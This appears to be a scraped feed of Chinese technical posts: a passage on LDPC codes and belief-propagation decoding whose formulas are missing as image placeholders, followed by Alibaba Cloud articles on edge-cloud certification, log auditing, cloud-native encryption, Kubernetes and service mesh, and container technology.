        LDPC编码可以用二分图的方法表述,根据图2-3所示的LDPC二分图(Bipartite)。规则LDPC,每个变量节点(Yi,i=1,2,3,…,9,为列的编号;有 9 个输入变量节点)连接q=2个校验节点(Ai,i=1,2,3,…,6;行的编号;有 6 行 参与校验;q 为列重—这一列中“1”的个数),每个检验节点连接r=3个变量节点(r 为行重,即等于这一行中“1”的个数)。
        image.png
        image.png
        从图 2-3 中可以看出,节点分成两大类型:变量节点(Variable Nodes)和校验节点(Check Nodes)。同一类型的节点不能直接彼此相连,不能直接互 通信息,但可以通过另一个类型的节点传递信息。这种互联结构体现于网状的 连线,也称“边”(Edge),可以完全由校验矩阵决定。
        LDPC 可以分为规则(Regular)和非规则(Irregular)[8] 两种。规则的 LDPC 是指同一种类型的节点具有相同的自由度。这里的自由度是与各节点类 型的边数目,即对于 LDPC 码来说,相当于校验矩阵中每行或者每列上的非零 元素数目。图 2-3 就是一个规则 LDPC 的例子,其中每个校验节点与 3 个变量节 点相连,而每个变量节点与 2 个校验节点相连。对应到校验矩阵,即每行有 3 个非 零元素,dc = 3。每列有 2 个非零元素,dv = 2。与 6×9 的整个校验矩阵来看,还 是比较“稀疏”的。当 LDPC 码非常大时,其稀疏性就更为明显。
        非规则 LDPC 的变量节点或者校验节点的自由度可以不一样,只要服从某 种分布即可。用一对参数(λ, ρ)式子表示非规则 LDPC,其中
        image.png
        代表了变量节点的自由度分布。而
        image.png
        代表了校验节点的自由度分布。更精确的讲,系数λi和ρi分别表示自由度为i的从变量节点和校验节点发出的边数所占的比例。上面的两个公式也可以用来描述规则的LDPC,例如,图2-3的LDPC就可以写成λ(x):=x^1ρ(x):=x^2
        相比规则LDPC,非规则LDPC有更大的灵活性和优化空间。无论从理论分析还是仿真验证,非规则LDPC的性能更优。因此在工程上所考虑的LDPC都是非规则的LDPC。

        2.2.3 置信度传播的基本原理及其应用

        置信度传播(Belief Propagation)也被称为信息传送(Message Passing),是概率论中的一种基本算法,guangfanyingyongza广泛应用在数字通信、人工智能、计算机科学、运筹管理等领域。
        我们把图2-4一般化成一个因子图(Factor Graph),由变量节点(Variable Notes)和因子节点(Factor Notes)组成。
        一般地置信度传播或者信息传送算法的本质就是根据因子图中变量节点和因子节点的连接关系,计算变量节点取值的边缘概率分布。这里有一个基本假设,即变量节点之间、因子节点之间都是不相关的,它们的联合概率分布可 以表示成边缘概率的乘积。边缘概率的求解可以用树状结构图表示。因子图展 开成树状图之后(这里假设不存在环状结构),可以更直观地看出迭代译码的过程,如图 2-5 所示。
        image.png
        从因子节点a到变量节点i的信息mga i(x; ) 可以解释成因子节点a有多大的可能性认为节点i会处于状态x;c而对于变量节点i,它处于状态x,的联合置信度正比于与它相连的因子节点认为变量节点会处于状态x;的概率的乘积,即
        image.png
        对于任意一个因子节点A,它的置信度等价于与它相连的所有变量节点的联合置信度。用式(2-12)表示
        image.png
        注意这里的L是个集合的概念。那么根据式(2-11),变量节点集合L中的每一个节点的置信度都是由正比于与它相连的因子节点认为变量节点会处于状态x,的概率的乘积,因此这个联合概率可以写成:
        image.png
        一个节点上的置信度,也就是边缘概率,就等于除了它自己,对所有相连的因子节点的联合置信度求和,即:
        image.png
        式(2-15)可以写成迭代形式。对于能够展成树形图的结构,而且不存在局部的环状结构,可以证明:置信度传播算法能够在有限的迭代次数内(两倍的树形结构的最大深度)收敛到边缘概率。
        在实际的因子图展开当中, 局部可能会出现迂回环状结构(LoopyGraph) , 如图2-6所示。当有环结构存在时, 置信度传播算法有可能不收敛,或者即使收敛,也不一定收敛到边缘概率分布。解决环结构不收敛的方法有好几种,对环结构的研究具有更多的理论意义,对工程设计的指导有限,这里不再赘述。
        image.png
        在信道解码方面,置信度传播被用在多种编码当中。这里我们介绍在 LDPC 中的应用。LDPC 校验矩阵的每一行代表一个奇偶校验,传统的代数译 码只考察相对应的比特节点上的值相加之和是否为 0,如果是,奇偶校验通过; 反之,校验不通过。在概率译码当中,校验节点,也就是一般的因子图中的因 子节点,需要计算的是该校验通过的概率。而这个计算是假定某一个相连的变 量比特是 1(或者 0),并且其他变量节点的值符合某种先验的概率分布。变量 节点需要计算的是一个比特是 1(或者 0)的概率,这个计算是基于所有相连的校验节点上的校验通过概率。
        用 rij 代表由校验节点确定的信息概率,更具体的,用 rij0 代表当信息比特 ti 为 0 时,校验节点j能够校验通过的概率。同理,用rij1 代表当信息比特ti 为 1 时, 校验节点 j 能够校验通过的概率。那么,根据置信度传播算法的原理,这两个 信息概率可以用式(2-17)来计算:
        image.png
        在式(2-17) 中, 表达式ie row[j] /(表示在第j行的所有为1的比特索引,除去当前的比特索引i。概率qy由变量节点来计算。q,表示在给定所有的校验节点的信息(除去校验节点j)的条件下,t;=0的概率。同理,q;表示在给定所有的校验节点的信息(除去校验节点j)的条件下,t;=1的概率。根据置信度传播的算法原理,概率q;可以表达成:
        image.png
        在式(2-18) 中, j ecol[i] /(j) 表示在第i列的所有为1的校验节点索引,除去当前的校验节点索引j。系数aiy是用来归一化的, 以保证q; +q; =1。式子中的p?和pi是相对于当前一轮迭代译码的第i个信息比特的先验概率,由以前的迭代过程得到。外部信息(Extrinsic Information) e; 和e, 的计算公式为:
        image.png
        image.png

        ]]>
        厉害了!阿里云首批通过边缘云标准符合性测试 Fri, 02 May 2025 09:39:04 +0800 12月16日,第九届中国云计算标准与应用大会于北京隆重召开。大会聚焦云计算产业新阶段面临的诸多挑战与机遇,从技术标准、技术解析、应用落地等方面进行深入的解读和探讨。

        会上,阿里云获得由中国电子技术标准化研究院颁发的首批《边缘云标准符合性测试证书》。这是业内权威机构首次开展边缘云领域的测评认证,对于产业上下游和技术服务商具有重要指导意义,也意味着阿里云在推进边缘云领域标准化建设上更进一步。

        边缘云颁证.jpg


        (右二为阿里云代表)

        边缘云计算可以将云计算的能力下沉到大量不同类型的边缘节点,充分利用边缘节点的本地化、广覆盖、近终端的特点,实现中心云和边缘云的统一管理和协同计算。由于边缘设备众多、差异化大,云服务商所采用的架构、技术存在一定的差异,边缘云计算的技术标准和应用场景也各具特色。

        5G时代到来,边缘云计算是激活5G商用潜能、连接上下游产业机会点、实现万物智联的关键技术,制定完善的边缘云计算标准和规范,对于促进技术创新、支撑云计算技术和促进产业链跨平台高效合作、推进产业高效发展将起到至关重要的作用。

        本次边缘云标准符合性测试是由中国电子技术标准化研究院,根据标准《信息技术 云计算 边缘云计算通用技术要求》中明确定义的技术要求进行测试与认证,以标准化的手段引导边缘云计算技术发展和促进产业应用。

        作为标准《信息技术 云计算 边缘云计算通用技术要求》的牵头单位,阿里云组织业内产学研用等单位进行研讨与编制工作。在该标准正式进入落地推广阶段后,阿里云作为国内第一、全球前三的云计算厂商,依托边缘节点服务(ENS)产品的技术领先性与对标准的高度符合性,积极配合中国电子技术标准化研究院完成了全部用例的编制,并顺利通过测试验收。其用例包含基础设施、基础设施服务能力、平台能力、应用服务能力、统一管控、安全要求等多个方向,获得权威机构的一致认可。

        目前,阿里云已经完成了从牵头制定完成业界首份《边缘云计算技术与标准化白皮书》,积极引领定义边缘云计算的概念和标准,到牵头编制边缘云计算标准《信息技术 云计算 边缘云计算通用技术要求》,推进厘清与规范边缘云计算系统的基础设施、服务能力、统一管控、接口安全等技术要求,再到完成边缘云技术标准化测试认证落地的完整标准化技术布局。这意味着阿里云边缘云计算相关产品在功能、性能、安全和管控能力等方面均达到了业内通用技术标准,可满足不同场景下的边缘云技术需求。同时也彰显了阿里云始终秉承全面拥抱标准化技术规范、营造开放的边缘云计算产业生态、积极推进边缘云领域健康发展的理念。

        image.png

        早在2018年4月,阿里云在业界率先推出边缘节点服务(Edge Node Service, ENS),此后,阿里云始终致力于打造无处不在的边缘云计算平台,将计算推进至用户10公里的边缘,并将飞天算力调度、容器、函数、安全、大数据与AI等技术能力进一步融合释放,使能场景化的城市计算。目前,阿里云已经完成国内30多个省份300+边缘计算节点的全域覆盖。

        基于阿里云在边缘计算领域先发优势以及创新性产品技术部署,边缘节点服务(ENS)已实现终端接入延迟低至5毫秒,为用户带来综合成本30%的减少,运维效率50%的提升。

        ]]>
        惊!赞!日志审计服务重磅发布 Fri, 02 May 2025 09:39:04 +0800

        云上合规“保护伞”,一键开启日志审计服务


        test

        阿里云日志审计服务,提供多账户下跨多云产品审计相关日志进行实时自动化中心化采集,并提供审计需要的存储、查询、信息汇总支持。覆盖Actiontrail、OSS、SLB、RDS、API网关等基础产品并支持自由对接到其他生态产品或自有SOC中心。

        智能日志处理、分析一站式服务

        阿里云日志服务是行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。

        升级后的日志审计服务将全面提升海量日志处理能力,实现了实时自动化采集、多产品支持、跨账号支持、其他合规支持等功能。实时挖掘数据价值,智能助力研发/运维/运营/安全等场景。

        test

        云上合规“保护伞”,一键开启日志审计服务

        今年9月26日,日志服务发布阿里云平台操作日志(Inner-ActionTrail)公测。Inner-ActionTrail提供对平台操作日志相关的分析与审计功能可以近实时地记录并存储阿里云平台操作日志(初期只提供OSS相关的平台操作日志),并基于日志服务,输出查询分析、报表、报警、下游计算对接与投递等能力,满足您平台操作日志相关的分析与审计需求。

        • 等保合规:存储网站六个月以上的平台操作日志,助力网站符合等保合规要求。
        • 实时分析:依托日志服务产品,提供近实时日志分析能力、开箱即用的报表中心,让您对平台操作日志的分布及细节了如指掌。
        • 实时告警:支持基于特定指标定制近实时的监测与告警,确保在关键业务发生变更时能第一时间响应。
        ]]>
        如何保障云上数据安全?一文详解云原生全链路加密 Fri, 02 May 2025 09:39:04 +0800 点击下载《不一样的 双11 技术:阿里巴巴经济体云原生实践》

        ban.jpg

        本文节选自《不一样的 双11 技术:阿里巴巴经济体云原生实践》一书,点击上方图片即可下载!

        作者
        李鹏(壮怀)阿里云容器服务高级技术专家
        黄瑞瑞  阿里云技术架构部资深技术专家

        导读:对于云上客户而言,其云上数据被妥善的安全保护是其最重要的安全需求,也是云上综合安全能力最具象的体现。本文作者将从云安全体系出发,到云数据安全,再到云原生安全体系对全链路加密进行一次梳理,从而回答:在云原生时代,全链路加密需要做什么?如何做到?以及未来要做什么?

        什么是云原生全链路加密

        数据安全在云上的要求,可以用信息安全基本三要素 "CIA"来概括,即机密性(Confidentiality)、完整性(Integrity)和可用性(Availability)。

        • 机密性专指受保护数据只可以被合法的(或预期的)用户可访问,其主要实现手段包括数据的访问控制、数据防泄露、数据加密和密钥管理等手段;
        • 完整性是保证只有合法的(或预期的)用户才能修改数据,主要通过访问控制来实现,同时在数据的传输和存储中可以通过校验算法来保证用户数据的完整性;
        • 数据的可用性主要体现在云上环境整体的安全能力、容灾能力、可靠度,以及云上各个相关系统(存储系统、网络通路、身份验证机制和权限校验机制等等)的正常工作保障。

        在三要素中,第一要素机密性(Confidentiality)最常见也是最常被要求的技术实现手段就是数据加密。具体到云原生维度,需要实现的就是云原生的全链路加密能力。

        “全链路”指的是数据在传输 (in Transit,也叫 in-motion)、计算 (Runtime,也叫 in-process),存储 (in storage,也叫 at-rest) 的过程,而“全链路加密”指的是端到端的数据加密保护能力,即从云下到云上和云上单元之间的传输过程、到数据在应用运行时的计算过程(使用/交换),和到数据最终被持久化落盘的存储过程中的加密能力。

        • 数据传输 (数据通信加密,微服务通信加密,应用证书和密钥的管理);
        • 数据处理(运行时安全沙箱 runV, 可信计算安全沙箱 runE);
        • 数据存储 (云原生存储的 CMK/BYOK 加密支持、密文/密钥的存储管理、容器镜像的存储加密、容器操作/审计日志安全)。

        1.png

        本文中的技术描述针对的是在云原生全链路加密中已有的和未来需要实现的技术目标。

        云安全 > 云数据安全 > 云原生全链路加密

        2.png

        云安全

        针对用户群体的不同,对安全链路有不同的层次定义,云安全涵盖了云客户安全和云厂商安全在 IaaS 的软件、硬件以及物理数据中心等的安全。

        3.png

        • 云原生客户(Cloud Native Customer)安全

          • 应用安全
          • 操作安全
          • 商业安全
          • 容器网络安全
          • 容器数据安全
          • 容器运行时安全
        • 云客户(Cloud Customer)安全
        • 云厂商(Cloud IaaS DevOps)安全

        云原生安全

        4.png

        云原生安全首先需要遵循云数据安全标准,在复用了云基础架构安全能力的前提下,同时在安全运行时,软件供应链上有进一步的安全支持。

        云原生存储是通过声明式 API 来描述了云数据的生命周期,并不对用户透出底层 IaaS 的数据加密细节。不同的云原生存储一般作为云数据的载体,复用了云 IaaS 基础安全能力,还需要包括软件供应链中的镜像安全,和容器运行时 root 文件系统安全和容器网络安全。

        • 云原生安全的运行时 = 数据处理过程中的计算安全,内存安全,文件系统安全和网络安全
        • 云原生软件供应链安全 = 可执行文件/用户代码安全 
        • 云原生基础架构的安全 = 云数据存储安全

        云数据安全

        云用户数据安全包括以下的三个方面的工作:

        • 数据保护:RAM ACL 控制细粒度的数据的访问权限;敏感数据保护(Sensitive
          Data Discovery and Protection,简称 SDDP)、数据脱敏、数据分级分类。
        • 数据加密:CMK 加密数据能力;BYOK 加密数据能力。
        • 密钥/密文管理:KMS/HSM 等云服务;三方 Vault 服务。

        数据安全的生命周期

        为了更好的理解数据保护,需要对数据安全的生命周期有一个了解,因为数据保护贯穿于整个的数据生命周期:

        • 数据收集
        • 数据传输
        • 数据处理
        • 数据交换
        • 数据存储
        • 数据销毁

        5.png

        云原生数据生命周期,以 ACK(容器服务 Kubernetes)挂载阿里云云盘为例:

        • 云盘 PV 的申明和创建定义了数据,云盘数据的加密需要在申明定义中就体现,对密钥匙选择、加密算法选择都可以申明式支持,RAM 权限细粒度遵循最小权限;
        • 云盘挂载到虚拟机通过 PVC 在容器组 Pod 引用得以触发和实现;
        • 云盘数据的解密通过用户 CMK/BYOK 在块设备上实现透明加密解密;
        • Pod 生命周期的变化导致 PVC 关联云盘在不同宿主 ECS 上的 Detach/Attach;
        • 对 PV 的 Snapshot 生命触发了云盘 Snapshot 的创建;
        • PV 的删除可以通过 OnDelete 关联到云盘的中止和数据的删除。

        全链路的数据安全

        在狭义上来说是对数据端到端的加密,主要集中在了数据生命周期中的三个阶段:

        • 数据传输
        • 数据处理
        • 数据存储

        数据传输阶段

        安全通信设计,密文/密钥的安全管理和传输,既要满足云环境下的安全传输、云原生引入的容器网络、微服务、区块链场景,又对云原生数据安全传输提出了进一步的要求。

        • 云安全传输

        在云环境下 VPC/安全组的使用,密文/密钥的安全管理 KMS 南北向流量通过 SSL 证书服务获取可信有效的 CA,对南北流量实现 HTTPS 加密和卸载,以及对 RPC/gRPC 通信使用 SSL 加密, 减小 VPC 的攻击面,通过 VPN/SAG Gateway 来实现安全访问链路。

        • 云原生安全传输

        云原生场景,单一集群允许多租户的同时共享网络、系统组件权限控制、数据通信加密、证书轮转管理,多租场景下东西流量的网络隔离、网络清洗;云原生微服务场景,应用/微服务间通信加密,和证书管理;云原生场景下密钥、密文的独立管理和三方集成、KMS 与 Vault CA, fabric-ca, istio-certmanager 等的集成。

        数据处理阶段

        数据处理阶段,对内存级的可信计算,既有云安全虚拟化安全运行的要求,又有容器安全沙箱和可信安全沙箱的需求。

        6.png

        • 云安全虚拟化可信计算:TEE SGX;ARM Trust Zone;
        • 云原生容器安全沙箱:runV Kata 安全容器沙箱 ;runE Graphane/Occlum 可信安全沙箱。

        7.png

        数据存储阶段

        既有云安全对云存储加密、云数据服务加密需求,又有对容器镜像存储加密,审计日志、应用日志加密和三方集成的需求,以及对密文密码的不落盘存储支持。

        云存储加密方式:

        • 数据 + 加密算法 + 用户密钥或主密钥;
        • 客户端加密/服务端加密。

        8.png

        云存储数据,以服务端加密为主;安全的密钥管理 KMS/HSM;安全的加密算法,全面支持国产算法以及部分国际通用密码算法,满足用户各种加密算法需求:

        • 对称密码算法:支持 SM1、SM4、DES、3DES、AES;
        • 非对称密码算法:支持 SM2、RSA(1024-2048);
        • 摘要算法:支持 SM3、SHA1、SHA256、SHA384。

        阿里云只能管理设备硬件,主要包括监控设备可用性指标、开通、停止服务等。密钥完全由客户管理,阿里云没有任何方法可以获取客户密钥。

        云存储加密支持

        • 块存储 EBS 云盘:支持虚拟机内部使用的块存储设备(即云盘)的数据落盘加密,确保块存储的数据在分布式系统中加密存放,并支持使用服务密钥和用户自选密钥作为主密钥进行数据加密;
        • 对象存储 OSS:支持服务端和客户端的存储加密能力。在服务端的加密中,支持使用服务密钥和用户自选密钥作为主密钥进行数据加密;在客户端的加密中,支持使用用户自管理密钥进行加密,也支持使用用户 KMS 内的主密钥进行客户端的加密;
        • RDS 数据库的数据加密:RDS 数据库的多个版本通过透明加密(Transparent
          Data Encryption,简称 TDE)或云盘实例加密机制,支持使用服务密钥和用户自选密钥作为主密钥进行数据加密;
        • 表格存储 OTS:支持使用服务密钥和用户自选密钥作为主密钥进行数据加密;
        • 文件存储 NAS:支持使用服务密钥作为主密钥进行数据加密;
        • MaxCompute 大数据计算:支持使用服务密钥作为主密钥进行数据加密;
        • 操作日志,审计日志的安全存储,以及三方日志系统集成。

        云原生存储加密:目前阿里云容器服务 ACK 可以托管的主要以块存储、文件存储和对象存储为主,其他类型的 RDS、OTS 等数据服务是通过 Service Broker 等方式支持。

        • 用户容器镜像/代码 (企业容器镜像服务,OSS CMK/BYOK 加密);
        • 云原生存储卷 PV(申明式支持云存储的 CMK/BYOK 以及数据服务层的加密支持);
        • 操作日志和审计日志 (ActionTrail OpenAPI/Kubernetes AuditLog: SLS 日志加密);
        • 密文密码 (KMS/Vault 对密文的三方加密支持和内存存储,非 etcd 持久化)。

        9.png

        结论

        云原生全链路的数据安全、云安全体系下的全链路加密已经成为了基础配置,新的容器化基础架构和应用架构的变化,结合云原生技术体系的特征,在数据传输、数据处理、数据存储阶段都需要增加相应云原生环境对网络、运行时、存储的全链路加密需求。

        • 既要满足云环境下的安全传输、云原生引入的容器网络、微服务、区块链场景,又对云原生数据安全传输提出了进一步的要求;
        • 既有云安全虚拟化安全运行的要求,又有容器安全沙箱,可信安全沙箱的需求;
        • 既有云安全对云存储加密、云数据服务加密需求,又有对容器镜像存储加密、审计日志、应用日志加密和三方集成的需求,以及对密文密码的不落盘存储的支持。

        ban.jpg

        本书亮点

        • 双11 超大规模 K8s 集群实践中,遇到的问题及解决方法详述
        • 云原生化最佳组合:Kubernetes+容器+神龙,实现核心系统 100% 上云的技术细节
        • 双 11 Service Mesh 超大规模落地解决方案

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        看云栖说云栖 —— 容器、云原生、微服务 Fri, 02 May 2025 09:39:04 +0800

        “基础设施的云化、核心技术的互联网化、应用的数据化和智能化”是云的三大趋势和核心价值所在。
        —— 行癫观点

        在年初的阿里云北京峰会上,阿里云新任掌门行癫张建峰的首次亮相,提出了升级以后的阿里云智能意味着:

        • 基础设施的云化
        • 核心技术的互联网化
        • 应用的数据化和智能化

        前面的《看云栖说云栖》讲的大多都是和基础设施的云化相关的内容,而这次的内容还和核心技术的互联网化有关。

        本文内容提取自2019杭州云栖大会《容器专场》、《云原生开发者峰会》。

        先从《容器专场》开始,Kubernetes已经成为云原生应用底层平台的事实标志,当下互联网核心技术体系的基础平台。今天再去谈容器,讲的多半还是和Kubernetes有关的内容。在这次云栖大会上,阿里云发布了阿里云Kubernetes服务(ACK)2.0版,这个版本的“新”体现在:

        • 新基石、ACK实现了全球化部署,并且支持边缘节点,在ACK2.0中集成了对边缘计算节点的管控、打通了混合云架构,交付效率3倍提升。
        • 新算力、可在一分钟内实现上千个节点的伸缩、支持GPU等异构计算资源、提供沙箱容器选项,增加容器平台安全性。
        • 新生态、集成了容器应用市场,基于ACK的应用部署更加便捷,提供合作伙伴计划助力生态建设。

        在容器专场的最后,是由蚂蚁金服的专家和阿里云的专家介绍了安全容器的关键技术、kata-container、和阿里云的沙箱容器。目前,沙箱容器已经在阿里云ACK服务上线提供公测,适合对容器平台安全有更高要求的客户使用,在创建集群时勾选沙箱容器选项即可。

        在《云原生开发者峰会》,阿里巴巴介绍了自己的云原生实践:

        • 阿里巴巴容器集群节点超十万、容器组超百万,可能已经是全球最大规模的云原生应用实践者了。
        • 因为引入云原生技术,双11 IT成本下降75%,日常IT成本下降30%。
        • 目前整个阿里经济体都运行在阿里云上。

        作为CNCF(云原生计算基金会)的9位TOC(技术监督委员会成员)之一,阿里云李响做了《阿里巴巴的云原生之路》的演讲。阿里选择云原生的理由可以总结为三个方面:

        • 资源效率、利用容器可以提升资源利用率,提高调度效率,尤其是在阿里巴巴大量使用了离线业务和在线业务混合部署的架构,利用在线业务系统的闲置时段进行离线计算。
        • 开发效率、程序开发人员和运维人员利用容器和编排系统可以更好的协作,更易于实现CI/CD,基于服务网格可以让多语言环境的微服务系统更易于构建和运维。
        • 标准与开放、基于共同的开放标准,行业生态伙伴更容易进行协同技术演进。

        什么是CNCF:云原生计算基金会构建可持续的生态系统,并培育社区,以支持云原生开源软件的增长和健康。
        CNCF下的开源项目包括:

        • Kubernetes :集群中管理跨多台主机容器化应用的开源系统;
        • Prometheus :专注于时间序列数据,为客户端依赖及第三方数据消费提供广泛集成支持的开源监控解决方案;
        • OpenTracing:与厂商无关的分布式追踪开源标准;
        • Fluentd:创建统一日志层的开源数据收集器。
        • Linkerd:为微服务提供可靠性支持、自动化负载均衡、服务发现和运行时可恢复性的开源“服务网格”项目;
        • gRPC:现代化高性能开源远程调用框架;
        • CoreDNS:快速灵活的构建 DNS 服务器的方案;
        • containerd:将容器运行时及其管理功能从 Docker Daemon 剥离的镜像管理和容器执行技术;
        • rkt:帮助开发者打包应用和依赖包,简化搭环境等部署工作,提高容器安全性和易用性的容器引擎。

        其实不仅这些项目,符合CNCF理念的开源项目还有很多,CNCF将这些项目整合成了一张全景图:https://landscape.cncf.io/images/landscape.png

        landscape(小).png
        (全景图缩小版)

        阿里云结合自身的使用实践,基于Kubernetes开源了OpenKruise项目,提供一组额外的Kubernetes控制器:

        • BroadcastJob Controller、用于把Job跑在每一个节点上。类似于DaemonSet会在每一个节点上去运行,区别是Job会结束而Daemon会一直运行并占用资源。
        • Sidecar Set、类似于Istio的Sidecar 容器自动注入,便于管理人员将日志、监控等一些业务无关的Sidecar容器的管理集中统一起来。
        • Advanced StatefullSet Controller、提供StatefullSet的原地升级能力,保留pod而只对容器镜像进行升级,避免销毁pod重建对应用网络拓扑造成的冲击。

        最后的内容是和微服务相关,阿里云资深技术专家司徒放(姬风)做了《微服务遇见云原生》的演讲。姬风认为微服务架构走向云原生有三个关键:

        • 在kubernetes上运行、kubernets已经是云原生的事实标准、kubernetes天然为微服务设计、kubernetes为分布式、可弹性扩缩容应用提供运维支持。
        • 基于Service Mesh治理、Service Mesh提供多语言异构技术栈的统一监控、智能、Service Mesh通用组建与业务逻辑完全解耦,独立升级、但Service Mesh尚未完全成熟,待提升规模化能力、需进一步提升兼容性、性能。
        • 应用Serverless化、Serverless 不等于FaaS,阿里云应用引擎SAE在不需要对应用作大量修改的同时即可享受到Serverless极速扩容和成本降低的好处。

        基于Kubernetes来构建微服务,阿里云可以集成的服务产品包括:

        • Istio & Envoy、Service Mesh的事实标准Istio 和Envoy已经是阿里云ACK(阿里云Kubernetes) 服务的内置组件。
        • 日志服务SLS、阿里云日志服务提供事件安全审计、业务日志收集、ingress(kubernetes的服务路由组件)大盘。
        • 应用实时监控ARMS、ARMS可与jaeger/Zipkin/Skywalking等链路追踪服务集成;Prometheus作为下一代的开源监控系统,提供了Kubernetes,数据库,消息队列,基础架构等各类技术组件的监控能力 ,ARMS提供Prometheus全托管式云服务,无需安装运维;Grafana 是一个大规模指标数据的可视化展现,是网络架构和应用分析中最流行的时序数据展示工具,提供了包括Kubernetes,主机,MySql,kafaka等各类技术的监控大盘,在阿里云上可以一键开启,并支持导入现有大盘数据。
        • 链路追踪、阿里云链路追踪服务支持OpenTracing API,使用阿里云链路追踪服务可比自行构建节省80%成本。
        • 微服务引擎MSE、微服务引擎 MSE(Microservice Engine )是微服务注册中心和配置管理的全托管式平台,提供高可用且免运维的服务注册和配置管理集群,如 ZooKeeper、Nacos 和 Eureka 等。
        • 企业级分布式应用EDAS、同时支持ECS和Kubernetes应用托管、支持Dubbo/Spring Cloud无侵入的微服务治理。
        • 应用高可用AHAS服务、Sentinel是阿里云开源的限流降级引擎,AHAS提供Sentinel的云上版本,除了限流降级AHAS还提供架构感知和故障演练的功能。
        • 应用配置管理ACM、应用配置管理 ACM(Application Configuration Management)前身为淘宝内部配置中心 Diamond,现已作为 Nacos 的配置中心模块开源。

        什么是Service Mesh 服务网格?按照服务网格概念的提出者Willian Morgan(Linker 的 CEO)的定义:
        A service mesh is a dedicated infrastructure layer for handling service-to-service communication. It’s responsible for the reliable delivery of requests through the complex topology of services that comprise a modern, cloud native application. In practice, the service mesh is typically implemented as an array of lightweight network proxies that are deployed alongside application code, without the application needing to be aware.
        服务网格是一个用于处理服务间通信的基础设施层,它负责为构建复杂的云原生应用传递可靠的网络请求。在实践中,服务网格通常实现为一组和应用程序部署在一起的轻量级的网络代理,但对应用程序来说是透明的。
        Istio 作为最流行的ServiceMesh 项目,通过自动注入的Sidecar容器来解决服务路由、安全认证、监控调度等非常重要又和业务本身无关的任务。Istio最初只支持Kubernetes。

        servicemesh1.png

        (蓝色部分即为SideCar容器)

        ]]>
        阿里云叔同:以容器为代表的云原生技术,已成为释放云价值的最短路径 Fri, 02 May 2025 09:39:04 +0800 作者 | 丁宇(叔同) 阿里云智能容器平台负责人 、刘丹

        2019 年阿里巴巴 双11 核心系统 100% 以云原生的方式上云,完美支撑了 54.4w 峰值流量以及 2684 亿的成交量。随着阿里巴巴经济体云原生技术的全面升级,容器性能、稳定性及在线率也得到了全面提升。本文作者将从云计算时代容器的发展路径为出发点,剖析阿里云的容器技术演进历程,借此探析整个行业的发展趋势。

        以容器为代表的云原生技术,成为云时代释放云价值的最短路径

        过去我们常以虚拟化作为云平台和与客户交互的界面,为企业带来灵活性的同时也带来一定的管理复杂度;容器的出现,在虚拟化的基础上向上封装了一层,逐步成为云平台和与客户交互的新界面之一,应用的构建、分发和交付得以在这个层面上实现标准化,大幅降低了企业 IT 实施和运维成本,提升了业务创新的效率。

        从技术发展的维度看,开源让云计算变得越来越标准化,容器已经成为应用分发和交付的标准,可以将应用与底层运行环境解耦;Kubernetes 成为资源调度和编排的标准,屏蔽了底层架构的差异性,帮助应用平滑运行在不同的基础设施上;在此基础上建立的上层应用抽象如微服务和服务网格,逐步形成应用架构现代化演进的标准,开发者只需要关注自身的业务逻辑,无需关注底层实现,云原生正在通过方法论、工具集和理念重塑整个软件技术栈和生命周期。

        “以容器为代表的云原生技术,用开放、标准的技术体系,帮助企业和开发者在云上构建和运行可弹性扩展、容错性好、易于管理、便于观察的系统,已经成为释放云价值的最短路径。”在提及容器演进历程中叔同强调道。最早创造和应用容器技术的是互联网公司,今天有了开放标准的云原生生态,使得容器技术得到迅速普及,越来越多的企业和开发者使用容器构建应用,共同享受这一技术红利。

        目前企业级用户对于容器技术有何新的需求呢?对此,叔同表示:云原生应用落地过程中,安全性是企业用户最为关注的需求之一。传统的 RunC 容器与宿主机 Linux 共享内核,通过 CGroup 和 namespace 提供有限的隔离性,随着越来越多的企业客户开始关注容器安全,近两年新型高隔离、安全的运行时开始出现,包括 MircoVM  (Kata Container、FireCracker) 方向和 gVisor 安全沙箱方向。

        阿里云和蚂蚁金服团队合作,引入安全沙箱容器技术,于 2019 年 9 月发布了基于轻量虚拟化技术的 RunV 安全沙箱,相比于 RunC 容器,每个 RunV 容器具有独立内核,即使容器所属内核被攻破,也不会影响其他容器。阿里云容器服务提供了端到端的云原生安全架构,包括基础设施安全、软件供应链安全和运行时安全,为企业提供全方位、立体化、多层次的安全防护。

        第二个需求是混合云架构,上云已是大势所趋,很多客户由于业务原因会考虑混合云的方式,不同云环境的基础设施和安全架构差异会造成企业 IT 和运维体系的割裂,加大管理复杂性。

        在云原生时代,以容器、Kubernetes 为代表的技术屏蔽了基础设施差异,作为底座推动了以应用为中心的混合云 2.0 架构到来,满足了用户诉求。同时企业在运营效率、研发效率、运行成本以及系统容错性、可维护性等方面,也提出了更高的要求。阿里云在整个容器产品的研发过程中,致力于解决企业痛点,尽管各个企业对于上云的诉求有诸多不同,但容器和云原生作为一种普适技术,可以满足不同企业不同层次的需求。

        谈及阿里云对于容器技术与产品的创新,叔同强调,“阿里云希望在云原生领域继续走社区路线,和开源技术完全兼容,利用阿里巴巴经济体的规模复杂度和阿里云客户的场景丰富度,不断创新,形成云原生的技术领先并回馈社区共建标准。2019 年年初我们将云原生大规模生产落地最佳实践沉淀下来,以开源项目 OpenKruise 的方式向社区开放,一方面帮助企业客户在云原生的探索过程中,少走弯路减少技术碎片化;一方面推动上游社区逐渐完善和丰富应用自动化管理能力。

        在 2019 年 10 月,阿里云联合微软一起发布开放应用模型 Open Application Model(OAM),OAM 是专注于描述应用生命周期的标准规范,可以帮助应用开发者、应用运维人员和基础架构运维团队更好地进行协同。在这个模型里开发人员负责定义应用组成、依赖与架构;应用运维人员负责定义应用运行时配置与运维需求,比如发布策略和监控指标,而基础架构运维团队可以针对应用部署环境的不同,配置定制化参数,通过这种关注点分离的设计,可以将应用定义、运维能力与基础设施实现解耦,让应用交付变得更加高效、可靠和自动化,解决行业痛点。

        Serverless 通过更高层次的抽象,让开发者免去资源管理、日常运维等工作,做到简化研发、极致弹性、按用付费。阿里云打造了函数计算产品 FunctionCompute:

        • 提供了事件驱动的编程方式;
        • 提供了面向应用的 Serverless 应用托管平台 SAE,用户只需提供应用实现,而平台负责弹性、自动化运维;
        • 提供了面向容器的 Serverless 产品 ECI 和 Serverless  Kubernetes,另一方面也在推动一些传统技术的 Serverless 化,例如数据库和消息中间件。

